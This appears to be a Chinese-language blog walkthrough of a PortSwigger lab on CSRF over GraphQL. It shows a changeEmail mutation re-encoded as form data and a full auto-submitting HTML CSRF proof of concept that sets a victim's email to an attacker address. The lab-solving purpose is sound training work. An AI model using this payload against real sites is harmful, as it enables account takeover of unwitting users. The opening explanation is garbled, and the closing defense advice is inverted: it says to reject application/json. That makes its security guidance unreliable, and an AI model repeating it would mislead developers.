Portswigger练兵场之GraphQL API
CSRF+GraphQL修改邮箱
Lab: Performing CSRF exploits over GraphQL
实验前置必要知识点
首先我们要清楚CSRF
无法发送内容类型为application/json
。
使用该内容类型的 POST
请求就可以防止伪造,使用内容类型 的 POST 请求就可以防止伪造。
但是,替代方法(如 GET 或任何内容类型为 x-www-form-urlencoded
) 的请求可以由浏览器发送,因此如果终结点接受这些请求,则可能会使用户容易受到攻击。在这种情况下,攻击者可能能够利用漏洞向 API
发送恶意请求。
实验要求
本实验室的用户管理功能由GraphOL端点提供支持。端点接受内容类型为x-www-form-urlencoded的请求,因此容易受到跨站点请求伪造(CSRF)攻击。
要解决这个实验室问题,需要制作一些HTML,使用CSRF攻击来更改查看者的电子邮件地址,然后将其上传到您的漏洞利用服务器。
您可以使用以下凭据登录到您自己的帐户:wiener:peter。
渗透开始
-
访问对应靶场界面
https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api
-
启动靶场
1. 站点分析
这是博客类型的网站
存在查看文章,无其他功能点
然后存在登录端点
利用wiener:peter
登录,存在修改邮箱内容
尝试修改一下
2. 寻找可疑功能点(查看Burp历史记录进行分析)
从总体来看,修改邮箱使用了GraphQL
我们的任务要求是制作CSRF
攻击。因此,分析突破口在这。
3. 功能点测试
将对应的日志信息发送到重放模块
由于请求类型的限制,我们是无法直接利用CSRF
的
尝试修改成GET
模式模式不允许
尝试修改请求方式为x-www-form-urlencoded
发现可以通过这种方式发送,修改请求内容
{"query":"n mutation changeEmail($input: ChangeEmailInput!) {n changeEmail(input: $input) {n emailn }n }n","operationName":"changeEmail","variables":{"input":{"email":"test@test"}}}
修改之后应该是类似GET
的传参,将json
形式修改
query=n mutation changeEmail($input: ChangeEmailInput!) {n changeEmail(input: $input) {n emailn }n }n&operationName=changeEmail&variables={"input":{"email":"test@test"}}
因为带空格,进行url
编码
query=%5Cn%20%20%20%20mutation%20changeEmail(%24input%3A%20ChangeEmailInput!)%20%7B%5Cn%20%20%20%20%20%20%20%20changeEmail(input%3A%20%24input)%20%7B%5Cn%20%20%20%20%20%20%20%20%20%20%20%20email%5Cn%20%20%20%20%20%20%20%20%7D%5Cn%20%20%20%20%7D%5Cn%26operationName%3DchangeEmail%26variables%3D%7B%22input%22%3A%7B%22email%22%3A%22test%40test%22%7D%7D
发现存在错误,寻找修改
n
也应该进行修改的
但是发现还是有问题
最后进行修改 url
编码并不是都适用,&
与=不行
query=%0a+mutation+changeEmail(%24input%3a+ChangeEmailInput!)+%7b%0a++++++++changeEmail(input%3a+%24input)+%7b%0a++++++++++++email%0a++++++++%7d%0a++++%7d%0a&operationName=changeEmail&variables=%7b%22input%22%3a%7b%22email%22%3a%22test%40test%22%7d%7d
4.CSRF制作
检查一下HTTP
包可以发现里面不存在TOKEN
,可以直接CSRF
既然我们构造好可以成功修改邮箱之后,我们制作CSRF
攻击包
右键 → 生成CSRF PoC
→ 自动提交
利用发送服务器发送恶意CSRF
攻击包
5.完成实验
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a1c00330330a758818fa20300f2007d.web-security-academy.net/graphql/v1" method="POST">
<input type="hidden" name="query" value="
mutation changeEmail($input: ChangeEmailInput!) {
changeEmail(input: $input) {
email
}
}
" />
<input type="hidden" name="operationName" value="changeEmail" />
<input type="hidden" name="variables" value="{"input":{"email":"ACCECK@HACKER"}}" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
发送后成功修改受害者邮箱,完成实验
防御方法
要防止CSRF
就是在校验类型的时候不允许application/json
原文始发于微信公众号(黄公子学安全):CSRF+GraphQL的奇妙组合
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论